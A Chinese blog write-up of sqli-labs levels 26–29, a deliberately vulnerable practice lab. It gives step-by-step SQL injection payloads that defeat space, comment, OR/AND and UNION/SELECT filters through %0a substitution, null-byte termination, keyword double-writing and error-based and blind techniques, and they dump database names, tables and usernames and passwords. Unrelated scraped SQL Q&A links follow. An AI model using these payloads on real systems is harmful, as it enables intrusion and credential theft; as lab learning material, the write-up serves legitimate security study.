sql-labs闯关26~31

2023-11-02

sql-labs闯关26~31:

友善爱国平等诚信民主富强爱国友善自由友善爱国平等诚信民主爱国爱国爱国

复习笔记1
第29~31关先跳过,回头再做


内容:

  1. sql-labs第26关(GET请求-基于错误-过滤空格和注释)
  2. sql-labs第26a关(GET请求-基于盲注-过滤空格和注释-字符型-单引号-括号)
  3. sql-labs第27关(GET请求-基于错误-过滤UNION&SELECT-字符型-单引号)
  4. sql-labs第27a关(GET请求-基于盲注-过滤UNION&SELECT-双引号)
  5. sql-labs第28关(GET请求-基于错误-过滤UNION&SELECT-字符型-单引号和括号)
  6. sql-labs第28a关(GET请求-基于盲注-过滤UNION&SELECT-单引号-括号)
  7. sql-labs第29关(GET请求-基于错误-IMPIDENCE MISMATCH-Having a WAF in front of web application)
  8. sql-labs第30关(GET请求-盲注-IMPIDENCE MISMATCH-Having a WAF in front of web application)
  9. sql-labs第31关(GET请求-盲注-IMPIDENCE MISMATCH-Having a WAF in front of web application)

1.sql-labs第26关

1.1.1
从欢迎界面可以知道,这关把空格和注释给过滤了,先输入?id=1
1.1.2
1.1.3
输入?id=1 and 1=2看到的账号是admin3,再输入?id=1 and 1=1,很好,也是一样的,不是数值型
1.1.4
用单引号判断法,输入?id=1'出现了报错信息,大致可以确定闭合点是’
1.1.5
不过这关把注释符过滤了,所以不能用常规的注释符绕过了。第一个反应是前面刚学到的特殊注释符;%00,输入?id=1';%00,看样子是成功绕过
1.1.6
输入?id=1' order by 3 ;%00判断列数,从页面报错信息来看过滤了or,那目前为止,知道了这关过滤了注释符、空格、or,所以在构造payload的时候,最好避免出现这些。or的话可以用双写来绕过,但是又过滤了空格,语句都挤在一起,根本没用,理论上讲用&&和||来替代and和or,而&&在url中具有特殊含义,需要先进行url编码成%26%26,就差个空格不知道怎么绕过。
1.1.7
首先,找了一些空格绕过技巧,大多都是用特殊字符来代替空格,看到这是不是以为这就结束了,你太天真了,我把所有绕过方法都尝试了一遍后,都没有成功绕过,又去看了源代码,这关过滤的属实多。不过我个人不知道是什么原因,但是有很多篇文章都提到是因为Apache 解析的问题Windows 无法使用,而Linux 下无这个问题。这属实难到我了,于是我又找了通关秘籍,跟着大佬的脚步,外挂冲关。我找到了面对空格过滤用报错注入来绕过的方法,避免了sql查询语句挤在一起的情况,接下来的流程我就很熟练了

SQL注入绕过技巧
SQL注入绕过技巧
sqli-labs26-32
sqli-labs通关笔记(1-30)
sqli-labs(26-28a)

?id=1' %26%26 extractvalue(1,concat(0x7e,database(),0x7e));%00

1.1.8
爆库

?id=1' %26%26 extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security') ,0x7e));%00

本来以为可以成功爆表,然而,我低估了过滤空格的影响,这堆又挤在一起了,只能用括号绕过
1.1.9
括号用在连续点,就成功了。有一说一,括号太多,我有点晕

?id=1' %26%26 extractvalue(1,concat(0x7e,(select(group_concat(table_name)) from (infoorrmation_schema.tables) where (table_schema='security')),0x7e));%00

1.1.10
爆表

?id=1' %26%26 extractvalue(1,concat(0x7e,(select(group_concat(column_name)) from (infoorrmation_schema.columns) where (table_schema='security') aandnd (table_name='users')),0x7e));%00

1.1.11
爆字段

?id=1' %26%26 extractvalue(1,concat(0x7e,(select (group_concat(username)) from (users)),0x7e));%00

1.1.12
爆数据


2.sql-labs第26a关

2.1.1
欢迎界面没改变,那过滤条件不变,输入?id=1正常显示
2.1.2
再输入?id=1',页面改变,但是没出现报错信息,这关不能再用报错注入了,再加上那些代替字符不能使用,所以只能用盲注了
2.1.3
再输入?id=1",页面又正常显示
2.1.4
输入?id=2' %26%26 '1'='1,查询1,就说明没有成功闭合
目前为止,不确定闭合点到底是社么,但肯定是有’,按照前面的闭合点经验,不外乎有以下两种种情况’)、')),实在不行再多搭配组合一下
2.1.5
输入?id=2') %26%26 '1'=('1,疑似闭合成功
2.1.6
输入?id=2查看值,验证闭合是否成功,确定闭合成功,然后开始盲注了,只写个样式,具体的去看前情回顾第八关
2.1.7
输入?id=2') %26%26 length(database())>5 %26%26 '1'=('1判断数据库长度
2.1.8
输入?id=2') %26%26 substr(database(),1,1)>'m' %26%26 '1'=('1判断数据库第一个字母

?id=2') %26%26 (select(count(table_name)) from (infoorrmation_schema.tables) where (table_schema='security'))>5 %26%26 '1'=('1

2.1.9
判断数据表张数

?id=2') %26%26 substr((select(table_name) from (infoorrmation_schema.tables) where (table_schema='security')(limit 0,1)),1,1)>'m' %26%26 '1'=('1

2.1.10
本来打算按照老方法用limit来提出第一张表再判断第一张数据表长度,结果又因为空格被过滤,语句挤在一起了,结果整的语句错误

?id=2') %26%26 substr((select(group_concat(table_name)) from (infoorrmation_schema.tables) where (table_schema='security')),1,1)>'m' %26%26 '1'=('1

2.1.11
那我只能把所有表都组合起来,一个字母一个字母慢慢试,再加上前面判断出数据表的张数,慢慢组合,总能试出正确表名

?id=2') %26%26 (select(count(column_name)) from (infoorrmation_schema.columns) where (table_schema='security') aandnd (table_name='users'))>5 %26%26 '1'=('1

2.1.12
判断字段个数

?id=2') %26%26 substr((select(group_concat(table_name)) from (infoorrmation_schema.tables) where (table_schema='security') aandnd (table_name='users')),1,1)>'m' %26%26 '1'=('1

2.1.13
判断字段的第一个字母

?id=2') %26%26 (select(count(username)) from (users))>5 %26%26 '1'=('1

2.1.14
判断数据有几条记录

?id=2') %26%26 substr((select(group_concat(username)) from (users)),1,1)>'m' %26%26 '1'=('1

2.1.15
判断数据的第一个字母


3.sql-labs第27关

3.1.1
从欢迎界面可以知道,这关把union和select给过滤了,先输入?id=1
3.1.2
再输入?id=1 and 1=2,判断类型,不是数值型
3.1.3
输入?id=1',有报错信息,大致确定闭合点是’,而且这也意味着我可以用报错注入来闯关,这样就可以绕过select和union的输入
3.1.4
输入?id=1' --+,没有成功闭合,那说明这关把注释也给过滤了
3.1.5
输入?id=1' ;%00,用特殊注释符绕过

?id=1' and extractvalue(1,concat(0x7e,database(),0x7e));%00

3.1.6
还过滤了空格,那就用符号来代替and
3.1.7
看看源代码,大小写都考虑到了,很贴心,不过感谢倒数两行,让我有了不一样的想法,我把其他字母改成大写,试试

union注入

3.1.8
抱着试试看的态度输入?id=1' %0aorder%0aby%0a3;%00,查询列数,没想到这关居然可以用%0a绕过空格过滤,%0b 也可以,其他的不行~
3.1.9
输入?id=0' %0a unioN %0a selecT %0a 1,2,3;%00,查看回显位。值得注意的是,输入id=-1会显示id=1的结果,猜测是因为把-当作注释过滤了
3.1.9
输入?id=0' %0a unioN %0a selecT %0a 1,database(),version();%00爆库

?id=0' %0a unioN %0a selecT %0a 1,2,(group_concat(table_name)) from (information_schema.tables) where (table_schema=database());%00

3.1.10
爆表

?id=0' %0a unioN %0a selecT %0a 1,2,(group_concat(column_name)) from (information_schema.columns) where (table_schema=database()) and (table_name='users') ;%00

3.1.11
爆字段

?id=0' %0a unioN %0a selecT %0a 1,(group_concat(username)),(group_concat(password)) from (users);%00

3.1.12
爆数据

报错注入

?id=1' %26%26 extractvalue(1,concat(0x7e,database(),0x7e));%00

3.1.13
爆库

?id=1' %26%26 extractvalue(1,concat(0x7e,(selecT (group_concat(table_name)) from (information_schema.tables) where (table_schema=database())),0x7e));%00

3.1.14
爆表

?id=1' %26%26 extractvalue(1,concat(0x7e,(selecT (group_concat(column_name)) from (information_schema.columns) where (table_schema=database()) and (table_name='users')),0x7e));%00

3.1.15
爆字段

?id=1' %26%26 extractvalue(1,concat(0x7e,(selecT (group_concat(username)) from (users)),0x7e));%00

3.1.16
爆数据


4.sql-labs第27a关

4.1.1
欢迎界面没啥变化,先输入?id=1
4.1.2
再输入?id=1 and 1=2,页面没变化,不是数值型
4.1.3
输入?id=1',页面没变化,闭合点不是’
4.1.4
再输入?id=1",页面发生改变,闭合点可能是",而且这关又不能用快乐的报错注入
4.1.5
输入?id=2" and "1"="1,判断双引号是否是闭合点,最终确定闭合点是"

union注入(步骤跟27差不多)

4.1.6
输入?id=0" %0a unioN %0a selecT %0a 1,2,3;%00,看看能不能用union注入,很好,可以!!!
4.1.7
输入?id=0" %0a unioN %0a selecT %0a 1,database(),version();%00爆库

?id=0" %0a unioN %0a selecT %0a 1,2,(group_concat(table_name)) from (information_schema.tables) where (table_schema=database());%00

4.1.8
爆表

%0a unioN %0a selecT %0a 1,2,(group_concat(column_name)) from (information_schema.columns) where (table_schema=database()) and (table_name='users') ;%00

4.1.9
爆字段

?id=0" %0a unioN %0a selecT %0a 1,(group_concat(username)),(group_concat(password)) from (users);%00

4.1.10
爆数据

盲注(步骤跟26a差不多)

4.1.11
输入?id=2" %26%26 length(database())>5;%00判断库长度
4.1.12
输入?id=2" %26%26 substr(database(),1,1)>'m';%00判断数据库第一个字母

?id=2" %26%26 (selecT(count(table_name)) from (information_schema.tables) where (table_schema=database()))>5 ;%00

4.1.13
判断数据表张数

?id=2" %26%26 substr((selecT(group_concat(table_name)) from (information_schema.tables) where (table_schema='security')),1,1)>'m' ;%00

4.1.14
判断表的第一个字母

?id=2" %26%26 (selecT(count(column_name)) from (information_schema.columns) where (table_schema='security') and (table_name='users'))=3 ;%00

4.1.15
判断字段的个数

?id=2" %26%26 substr((selecT(group_concat(table_name)) from (information_schema.tables) where (table_schema='security') and (table_name='users')),1,1)>'m' ;%00

4.1.16
判断字段的第一个字母

?id=2" %26%26 (selecT(count(username)) from (users))>5 ;%00

4.1.17
判断数据有几条记录

?id=2" %26%26 substr((selecT(group_concat(username)) from (users)),1,1)>'m' ;%00

4.1.18
判断数据的第一个字母


5.sql-labs第28关

5.1.1
从欢迎界面可以知道,这关把union和select给过滤了,先输入?id=1
5.1.2
再输入?id=1 and 1=2,判断类型,不是数值型
5.1.3
输入?id=1',页面改变,无报错信息,又要开始猜闭合点了
5.1.4
输入?id=1';%00,没闭合,页面显示错误
5.1.5
输入?id=1');%00,闭合。那么闭合点就是’),而且不能再用报错注入了
5.1.6
输入?id=1')%0a unioN %0a selecT %0a 1,2,3;%00,发现被过滤成这样,你赢了
5.1.7
再输入?id=1')%0b unioN %0b selecT %0b 1,2,3;%00,不忍直视
5.1.8
那就查看源码,问题应该出现在最后一行的过滤上,不过俺也不怎么懂
5.1.9
5.1.10
大概意思就是:union和select一起用的时候,会被过滤,那我要是双写,再在外面输入一层union和select,那么中间会被置换成空格,那外面那层可能会绕过
详细具体的说明请点击Sqli-labs - Less-28
5.1.11
输入?id=0') %0a unioN union%0a select %0a selecT %0a1,2,3;%00,查看回显位
5.1.12
输入?id=0')union(select%0d1,2,'3,查看回显位。我第一次见这个注释方式,剩下的步骤,请访问文章(手工)【sqli-labs28、28a】字符型注入、盲注、过滤
5.1.13
输入?id=0') %0a unioN union%0a select %0a selecT %0a 1,database(),version();%00,爆库

?id=0') %0a unioN union%0a select %0a selecT %0a 1,2,(group_concat(table_name)) from (information_schema.tables) where (table_schema=database());%00

5.1.14
爆表

?id=0') %0a unioN union%0a select %0a selecT %0a 1,2,(group_concat(column_name)) from (information_schema.columns) where (table_schema=database()) and (table_name='users') ;%00

5.1.15
爆字段

?id=0') %0a unioN union%0a select %0a selecT %0a 1,(group_concat(username)),(group_concat(password)) from (users);%00

5.1.16
爆数据


6.sql-labs第28a关

6.1.1
换关卡的时候,顺手点了运行,这个反馈界面出乎意料,暂且放这
6.1.2
输入?id=1
6.1.3
输入?id=1 and 1=2
6.1.4
输入?id=1'
6.1.5
再输入?id=1';%00
6.1.6
再输入?id=1');%00,成功闭合。确定闭合点是’)

union(跟28关一样的操作)

6.1.7
从刚开始的换关结果显示,就说明union似乎可以使用,输入?id=0') %0a unioN union%0a select %0a selecT %0a1,2,3;%00,尝试查看回显位
6.1.8
输入?id=0') %0a unioN union%0a select %0a selecT %0a 1,database(),version();%00爆库
自己翻28关,payload都不需要改,我懒的输入截图描述了,累了

盲注(步骤跟27a差不多)

6.1.9
输入?id=2') %26%26 length(database())>5;%00,判断库长度
6.1.10
输入?id=2') %26%26 substr(database(),1,1)>'m';%00判断数据库第一个字母

?id=2') %26%26 (selecT(count(table_name)) from (information_schema.tables) where (table_schema=database()))>5 ;%00

6.1.11
输入判断数据表张数是否>5张

?id=2') %26%26 substr((selecT(group_concat(table_name)) from (information_schema.tables) where (table_schema='security')),1,1)>'m' ;%00

6.1.12
判断表的第一个字母是否>‘m’

?id=2')  %26%26 (select(count(column_name)) from (information_schema.columns) where (table_schema='security') and (table_name='users'))=3 ;%00

6.1.13
判断字段的个数

?id=2')  %26%26 substr((selecT(group_concat(table_name)) from (information_schema.tables) where (table_schema='security') and (table_name='users')),1,1)='u' ;%00

6.1.14
判断字段的第一个字母是否=‘u’

?id=2')  %26%26 (select(count(username)) from (users))>5 ;%00

6.1.15
判断数据记录数是否>5

?id=2') %26%26 substr((selecT(group_concat(username)) from (users)),1,1)>'m' ;%00

6.1.16
判断数据的第一个字母是否>‘m’


7.sql-labs第29关

这关的欢迎词又变了,This Site Protected by world’s Best firewall (该网站由世界上最好的防火墙保护)。对于这关要测试什么,摸不着头脑,先按照老样子注入试试,有问题再百度
7.1.1
输入?id=1 and 1=2
7.1.2
输入?id=1',看到了久违的报错信息,那试试报错注入

?id=1' and extractvalue(1,concat(0x7e,database(),0x7e))--+

7.1.3
成功爆库,我开始迷茫,这关到底考干啥,也许是接下来的步骤被过滤了

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))--+

7.1.4
成功爆表

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e))--+

7.1.5
成功爆字段

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username) from users),0x7e))--+

7.1.6
成功爆数据,虽然成功了,但是俺不理解。我去翻翻百度,这是我第一次做出来还要去找百度

sqli-labs(29-31)
sqli-labs(29)
sqli-labs(29-31关)

7.1.7
要是想要学习详细操作,请点击第三个链接,我回头再尝试


8.sql-labs第30关


9.sql-labs第31关


本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

sql-labs闯关26~31 的相关文章

  • 在 Yii 的标准中如何获得计数 (*)

    我正在尝试构建一个具有以下内容的查询group by属性 我正在尝试得到id和count它一直告诉我count is invalid列名 我怎样才能得到count来自group by询问 工作有别名 伊伊 1 1 11 其他不及格 crit
  • 重用 t-sql 游标的起始位置?

    我正在开发一个在临时表上使用游标的存储过程 我已经阅读了一些关于为什么不需要游标的内容 但在这种情况下我相信我仍然需要使用游标 在我的过程中 我需要遍历表的行两次 声明游标后 已经单步执行临时表并关闭游标 重新打开时游标的位置是否仍保留在表
  • 使用函数的 SQL 查询 - 如何获取列表的最大计数

    如何查询 MAXIMUM COUNT 交易次数 我的代码如下 SELECT customer id COUNT customer id FROM rental GROUP BY customer id HAVING MAX COUNT cu
  • CONTAINS 不适用于 Oracle Text

    我在执行此查询时遇到问题 SELECT FROM gob attachment WHERE CONTAINS gob a document java gt 0 它给了我 ORA 29902 error in executing ODCIIn
  • 如何使用 SQL 查询创建逗号分隔的列表?

    我有 3 个表 名为 应用程序 ID 名称 资源 id 名称 应用程序资源 id app id resource id 我想在 GUI 上显示所有资源名称的表格 在每一行的一个单元格中 我想列出该资源的所有应用程序 以逗号分隔 所以问题是
  • 替换字符串中的多个字符,而不使用任何嵌套替换函数

    我的表中存储了一个方程 我一次获取一个方程 并希望将所有运算符替换为任何其他字符 输入字符串 N 100 6858 6858 N 100 0 2 N 35 运算符或模式 替换字符 输出字符串 N 100 6858 6858 N 100 0
  • SQLite SQL 查询出现问题[重复]

    这个问题在这里已经有答案了 我正在尝试在 SQLite 3 中运行以下查询 SELECT DISTANCE latitude longitude AS distance FROM country WHERE id NOT LIKE HAVI
  • 就SQL注入而言,哪种sql查询更安全

    我有两个 SQL 查询正在尝试更新sup and opp每次调用查询时 值分别为 1 和 1 第一个查询 query update disc set sup sup opp opp where did did int sup getnoof
  • MySQL 中的创建/写入权限

    我的设备遇到一些权限问题SELECT INTO OUTFILE陈述 当我登录数据库并执行简单的导出命令时 例如 mysql gt select from XYZ into outfile home mropa Photos Desktop
  • 如何关闭与数据库的现有连接

    我想关闭与 MS SQL Server 的现有连接 以便可以通过编程方式对该数据库进行恢复 这应该会断开其他所有人的连接 并使您成为唯一的用户 alter database YourDb set single user with rollb
  • SQL Android 错误:没有这样的表

    因此 每次我在位于 AddContacts 类中的 EditText 字段中输入数据时 我的对话框都会显示我已成功添加信息 但在日志 cat 中却显示没有这样的表 contactsTable 我认为错误出在我的数据库类中的 onCreate
  • 在实体框架 6 中使用 SqlQuery>

    我正在尝试在 EF 6 中执行 SQL 查询 select查询返回两个字符串列 例如select a b 并且可以有任意数量的行 我想将结果映射到字典 但我无法摆脱以下错误 错误 1 无法将类型 System Data Entity Inf
  • 不能简单地使用 PostgreSQL 表名(“关系不存在”)

    我正在尝试运行以下 PHP 脚本来执行简单的数据库查询 db host localhost db name showfinder username user password password dbconn pg connect host
  • 什么是动态 SQL 查询?何时需要使用动态 SQL 查询?

    什么是动态 SQL 查询 何时需要使用动态 SQL 查询 我正在使用 SQL Server 2005 这里有几篇文章 动态SQL简介 http www sqlteam com article introduction to dynamic
  • 从 SQL 数据库获取日期时间

    我的数据库表中有一个 DateTime 记录 我编写一个查询从数据库中获取它 string command2 select Last Modified from Company Data where Company Name Descrip
  • 从 Presto 中的 JSON 列获取特定值

    我有一个带有 JSON 列的表points其中一行为 0 0 2 1 1 2 2 0 5 15 1 2 20 0 7 我想获取键的值 1 and 20 并将它们存储为别名 例如first and second在查询中 到目前为止我所做的是
  • 如何调试参数化 SQL 查询

    我使用 C 连接到数据库 然后使用 Ad hoc SQL 来获取数据 这个简单的 SQL 查询非常方便调试 因为我可以记录 SQL 查询字符串 如果我使用参数化 SQL 查询命令 有没有办法记录 sql 查询字符串以进行调试 我想就是这样的
  • PL/SQL 过程:如何返回 select 语句?

    我想创建一个存储过程 on ORACLE数据库服务器我的问题是 我不知道如何返回 select 语句 这是程序中应包含的逻辑 输入参数 过滤器1 int 过滤器2 字符串 with cte as select val1 val2 stdde
  • 使用 FileTable 通过 SQL INSERT 创建子目录

    之前 我请求如何在一个目录中创建一个目录FileTable不使用文件 I O API https stackoverflow com q 10483906 175679 我现在想为刚刚创建的父目录创建一个子目录 在插入期间如何分配我的父母
  • 如何插入包含“&”的字符串

    如何编写包含 字符的插入语句 例如 如果我想将 J J Construction 插入数据库的列中 我不确定这是否有什么不同 但我正在使用 Oracle 9i 我总是忘记这一点 然后又回到它 我认为最好的答案是迄今为止提供的答复的组合 首先

随机推荐

  • Unity Navigation详解

    Unity Navigation详解 前言 从事unity相关行业以来始终看不清自己的路该怎么走 到今天才明白不需要花时间去迷茫 只管努力莫问前程 从今天开始每天写一点小东西 记录与整理自己走过的路 也一边寻找自己的路 便从unity的自动
  • BuildaFlightTrackerwithCesiumforUnreal_译

    BuildaFlightTrackerwithCesiumforUnreal 译 这个教程会使用真实世界飞机数据控制一个飞机飞过从圣弗朗西斯科到哥本哈根 你会学到怎样 1 输入真实数据到UnrealEngine 2 使用数据和USpline
  • 活动如何造势推广?会议软件帮您忙

    会议管理者辛苦策划了一场活动 如果推广宣传跟不上 那策划的心血岂不白费 如何使用有效且高效的方法为活动推广造势呢 传统推广方式耗费人力大 成本高 但通过会议软件便可以快速推广活动并有效宣传 下面为您介绍如何使用会议软件实现有效推广 01 社
  • python开发面试题

    python基础 1 Python类中的方法类型 在Python类中有四种方法类型 分别是实例方法 静态方法 类方法和普通方法 实例方法 即对象方法 需要实例化对象之后才能调用 接受的第一个参数self就是对象本身 必须使用实例化对象才可以
  • linux 图形分区工具,Linux下的图形分区工具

    在Linux下的许多情况下 分区将不足 这时 我们将需要调整分区 Windows下有很多工具 Linux下也有 您可以使用gparted进行分区 Gparted是parted的前端 图形化 linux下分区工具 通常包含在官方资源中 可以直
  • 2020年校赛网络赛

    51假期那段时间因为水了一段时间的数模校赛 加上专业课的坑越欠越多 因而已经很久很久没有补过题目了 从近到远 先把西电校赛的坑填起来 再把之前的CF牛客Atcoder补起来 qaq C 发现交换律后就显然了 D 双指针 好像第一天晚上还有个
  • 蓝桥杯2022真题:统计子矩阵、字符统计、排列字母、顺子日期、特殊时间、三角回文数、2022、星期计算

    目录 1 统计子矩阵 2 字符统计 3 排列字母 4 顺子日期 5 特殊时间 6 三角回文数 7 2022 8 星期计算 1 统计子矩阵 import os import sys 请在此输入您的代码 n m k map int input
  • chrome扩展结构

    每个打开的页面都运行在web页面环境中 一个正常的web页面环境 会先初始化css 然后建立DOM树 接着加载图片和frame等子资源 然后顺序执行所有js l chrome扩展本身运行在一个进程中 称之为background环境 back
  • 【软件测试学习笔记】白盒测试

    文章目录 一 白盒测试概述 二 分类 1 静态测试 2 动态测试 三 白盒测试原则 四 白盒测试类别 五 不同阶段不同侧重点 1 单元测试 2 集成测试 3 系统测试 4 验收测试 六 测试覆盖率 1 功能点覆盖 2 结构覆盖率 七 逻辑覆
  • LVGL在linux环境搭建篇

    LVGL环境搭建 1 环境准备 1 下载源码 https github com lvgl lvgl https github com lvgl lvgl 2 新建lvgl 文件夹 把src 和lvgl h 和lv conf template
  • 疯狂的采药(完全背包例题详解)

    题目 每种草药可以无限制地采摘 每种草药对应采药时间 草药价值 求在一定的采药时间下 采出的药最大总价值是多少 输入格式 输入第一行有两个整数 分别代表总共能够用来采药的时间 t 和代表山洞里的草药的数目 m 第 2 到第 m 1 行 每行
  • Entity Framework Core系列教程-18-断开模式下删除数据

    Entity Framework Core 断开模式下删除数据 EF Core API会为EntityState为Deleted的实体建立并执行数据库中的DELETE语句 在EF Core中已连接和已断开连接的场景中删除实体没有什么区别 E
  • 【数据结构】二叉树接口的实现及OJ题

    需要云服务器等云产品来学习Linux的同学可以移步 gt 腾讯云 lt gt 阿里云 lt gt 华为云 lt 官网 轻量型云服务器低至112元 年 新用户首次下单享超低折扣 目录 一 二叉树的接口 1 二叉树的结构体 2 手动造一颗二叉树
  • 防止Sql注入拦截

    这两天在做一个sql注入拦截 期间遇到了不少问题 最大的问题是在 拦截sql注入后利用response 重定向到错误页面 始终无法实现跳转 发现原因是 ajax 异步请求时并不会对response重定向做处理 当然包括response ge
  • vite 配置路径别名@和动态引入assets资源

    vite 配置路径别名 vite config js配置 import fileURLToPath URL from node url 如果是ts 则需下载 types node以来 import defineConfig from vit
  • 解决socket.error: [Errno 98] Address already in use问题

    一 基本设置 如果python中socket 绑定的地址正在使用 往往会出现错误 在linux下 则会显示 socket error Errno 98 Address already in use 在windows下 则会显示 socket
  • linux访问有域名的ftp,Linux安装了ftp服务怎么用域名访?

    ftp directory怎么配置根 请自行准备好华为交换机和电脑 并且让你的电脑和交换机连接上 不管是telnet还是terminal都是可以的 首先需要在 Quidway 下启动ftp服务 Quidway ftp server enab
  • GPU比较(1285Lv4&1245v5)

    1285Lv4 Intel Iris Pro Graphics P6300 Iris Graphics 6200 P6300 EU 48 核心代号 GT3e 1245v5 HD Graphics P530 EU 48 核心代号 GT3e
  • 网络安全面试题

    IT面试 前言 首先 从底层的环境 计算机基础 即网络 系统方面开始 网络从交换 路由的基本认知到排错 系统从命令查看方面 其次 最后 通过编程语言 如python 提供自动化运维的方法 提高办公 简历方面 专业技能模块可以写成 1 熟悉网
  • sql-labs闯关26~31

    sql labs闯关26 31 友善爱国平等诚信民主富强爱国友善自由友善爱国平等诚信民主爱国爱国爱国 复习笔记1 第29 31关先跳过 回头再做 内容 sql labs第26关 GET请求 基于错误 过滤空格和注释 sql labs第26a